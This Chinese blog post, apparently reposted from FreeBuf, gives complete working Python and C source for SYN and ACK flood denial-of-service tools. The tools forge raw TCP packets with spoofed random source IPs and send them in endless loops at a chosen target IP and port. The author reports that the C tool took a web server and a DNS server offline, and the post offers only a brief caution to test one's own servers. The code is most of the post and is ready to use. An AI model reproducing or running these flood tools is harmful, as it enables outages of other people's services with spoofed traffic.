pythonddos防御_浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击...

*原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载

0x01 前言

以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功能,但是性能太差,其不到攻击效果,然后又开始学c语言,用c语言重写了syn flood攻击工具,今天我把python和c的源码都发出来,分享给大家,如果是学习就用python的代码,因为比较方便修改其中的内容,如果是做压力测试的话就用c的代码,性能比较好威力也比较大。话不多说直接上代码了。

0x02 python攻击代码

环境:ubuntu/kali +python 2.7.11

使用方法如下:mode有三种模式 syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。

14904403449062.png!small

我电脑是i7-6700单线程也只能这点速度。cpu1已经使用89%了

14904405378333.png!small

看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。

14904405816813.png!small

下面是代码:#!/usr/bin/python

#-*-coding:utf-8-*-

import socket

import struct

import random

import threading

class myThread (threading.Thread):

def __init__(self,dstip,dstport,mode):

threading.Thread.__init__(self)

self.dstip = dstip

self.dstport =dstport

self.mode =mode

def run(self):

attack(self.dstip,self.dstport,self.mode)

def checksum(data):

s = 0

n = len(data) % 2

for i in range(0, len(data)-n, 2):

s+= ord(data[i]) + (ord(data[i+1]) << 8)

if n:

s+= ord(data[i+1])

while (s >> 16):

s = (s & 0xFFFF) + (s >> 16)

s = ~s & 0xffff

return s

def IP(source,destination,udplen):

version = 4

ihl = 5

tos = 0

tl = 20+udplen

ip_id = random.randint(1,65535)

flags = 0

offset = 0

ttl = 128

protocol =6

check =0

source = socket.inet_aton(source)

destination = socket.inet_aton(destination)

ver_ihl = (version << 4)+ihl

flags_offset = (flags << 13)+offset

ip_header = struct.pack("!BBHHHBBH4s4s",

ver_ihl,

tos,

tl,

ip_id,

flags_offset,

ttl,

protocol,

check,

source,

destination)

check=checksum(ip_header)

ip_header = struct.pack("!BBHHHBBH4s4s",

ver_ihl,

tos,

tl,

ip_id,

flags_offset,

ttl,

protocol,

socket.htons(check),

source,

destination)

return ip_header

def TCP(srcip,dstip,protocol,dp,fg):

source = socket.inet_aton(srcip)

destination = socket.inet_aton(dstip)

srcport=random.randint(1,65535)

dstport=dp

syn_num=random.randint(1,4000000000)

if fg == 2:

ack_num=0

else:

ack_num=random.randint(1,4000000000)

hlen=5

zero=0

flag=fg

window=8192

check=0

point=0

tcplen=hlen

h_f=(hlen << 12)+flag

TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point)

check=checksum(TCP_head)

TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point)

return TCP_head

def makepacket(dstip,dstport,fg):

srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))

protocol=6

ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)

return ippacket

def attack(dstip,dstport,mode):

if mode == 'syn':

fg=2

while 1:

data=makepacket(dstip,dstport,fg)

s.sendto(data,(dstip,dstport))

elif mode == 'ack':

fg=18

while 1:

data=makepacket(dstip,dstport,fg)

s.sendto(data,(dstip,dstport))

elif mode == 'syn&ack':

while 1:

data=makepacket(dstip,dstport,2)

s.sendto(data,(dstip,dstport))

data=makepacket(dstip,dstport,18)

s.sendto(data,(dstip,dstport))

else:

print 'DON\'T xia say!'

dstip=raw_input('attack IP:')

dstport=int(input('attack PORT:'))

mode=raw_input('mode:(syn or ack or syn&ack)')

threads=int(input("线程数threads:"))

ip_first=[]

for i in range(1,10):

ip_first.append(i)

for i in range(11,172):

ip_first.append(i)

for i in range(173,192):

ip_first.append(i)

for i in range(193,224):

ip_first.append(i)

s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6)

s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

threads_name=[]

for i in range(threads):

threads_name.append('teread'+str(i))

for i in range(threads):

threads_name[i]=myThread(dstip,dstport,mode)

for i in range(threads):

threads_name[i].start()

0x03 C语言攻击代码

环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)

使用方法:支持两个参数 目的ip和目的端口

14904410373646.png!small

性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。所以说在这件事上(syn flood)C的性能要好过python10倍以上。

1490441314238.png!small

抓包情况:c的攻击代码模拟了真实的chrome发起tcp请求的情况,不仅仅是标准的ip头+tcp头还加上了tcp options字段,mss最大段大小、sack选择确认、window scale 窗口规模因子,大小总共66字节。

14904415304334.png!small

C语言代码:我以前没怎么写过c,所以写的比较糟糕,不过凑合还是能用的,各位可以拿去在修改修改,计算校验和的部分是我在网上抄来的,产生随机数的种子srand不能用time(),这样会造成很多报文随机数部分重复(时间精度是秒),我用的是clock(),这是cpu时间随机数每个都不会重复。pstcphdr是tcp的伪首部,只参与计算校验和而不真的发送,代码中用了linux定义好的Ip.h和tcp.h中的结构,这可能是程序比较快的原因之一。#include

#include

#include

#include

#include

#include

struct pstcphdr {

__be32    saddr;

__be32    daddr;

__be16    proto;

__be16    tcplen;

};

struct tcpoptions

{

__be32    mss;

__be16    nop2;

__be16    sack;

__be32    scale;

};

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc, char *argv[])

{

if( argc == 1 )

{

printf("这是一个syn测试工具,命令格式./synflood ip port \n");

exit(0);

}

else if( argc > 3 )

{

printf("参数输入太多啦,请不带参数查看输入格式!\n");

exit(0);

}

else if( argc < 3 )

{

printf("参数输入太少啦,请不带参数查看输入格式!\n");

exit(0);

}

const int on=1;

/*char ipadd[20]=("192.168.1.10");*/

srand(clock());

/*struct sockaddr_in srcaddress;*/

struct sockaddr_in dstaddress;

struct pstcphdr *pstcphdr1;

struct iphdr *iphead;

struct tcphdr *tcp;

struct tcpoptions *tcpopt;

dstaddress.sin_family=AF_INET;

dstaddress.sin_port=htons(atoi(argv[2]));

dstaddress.sin_addr.s_addr = inet_addr(argv[1]);

int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

char buf[128]={0};

int ip_len;

ip_len = sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt);

iphead=(struct iphdr*)buf;

tcp=(struct tcphdr *)(buf+sizeof(*iphead));

tcpopt=(struct tcpoptions*)(buf+sizeof(*iphead)+sizeof(*tcp));

iphead->version= 4;

iphead->ihl=sizeof(*iphead)/4;

iphead->tos=0;

iphead->tot_len=htons(ip_len);

iphead->id=0;

iphead->frag_off=0;

iphead->protocol=6;

iphead->check=0;

inet_aton(argv[1],&iphead->daddr);

int tcplen=sizeof(*tcp)+sizeof(*tcpopt);

tcp->dest=htons(atoi(argv[2]));

tcp->doff=tcplen/4;

tcp->syn=1;

tcp->check=0;

tcp->window=htons(8196);

tcpopt->mss=htonl(0x020405b4);

tcpopt->nop2=htons(0x0101);

tcpopt->sack=htons(0x0402);

tcpopt->scale=htonl(0x01030309);

pstcphdr1=(struct pstcphdr*)(buf+sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt));

pstcphdr1->daddr=&iphead->daddr;

pstcphdr1->proto=htons(6);

pstcphdr1->tcplen=htons(sizeof(*tcp));

while (1)

{

tcp->seq=rand();

iphead->ttl=random()%98+30;

iphead->saddr=htonl((rand()%3758096383));

pstcphdr1->saddr=&iphead->saddr;

tcp->source=htons(rand()%65535);

tcp->check=check_sum((unsigned short*)tcp,sizeof(*tcp)+sizeof(*tcpopt)+sizeof(*pstcphdr1));

sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in));

}

}

unsigned short check_sum(unsigned short *addr,int len){

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;

sum+=answer;

}

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}

0x04 结语

还有些注意事项,就是测试的时候不要通过家用路由器(或者一切NAT设备),不然伪造的源地址全都会被替换成真实的,如果你带宽大的话c语言那个攻击代码威力还是很大的,我测试环境下发包30MB/s,能让一台空闲的双路E5+32G 的web服务器拒绝服务,也能让同等配置的DNS服务器拒绝服务(DNS 服务器一般也会开放TCP 53端口)。所以各位不要乱去攻击别人,就测测自己的服务器抗压能力就好了。

*原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值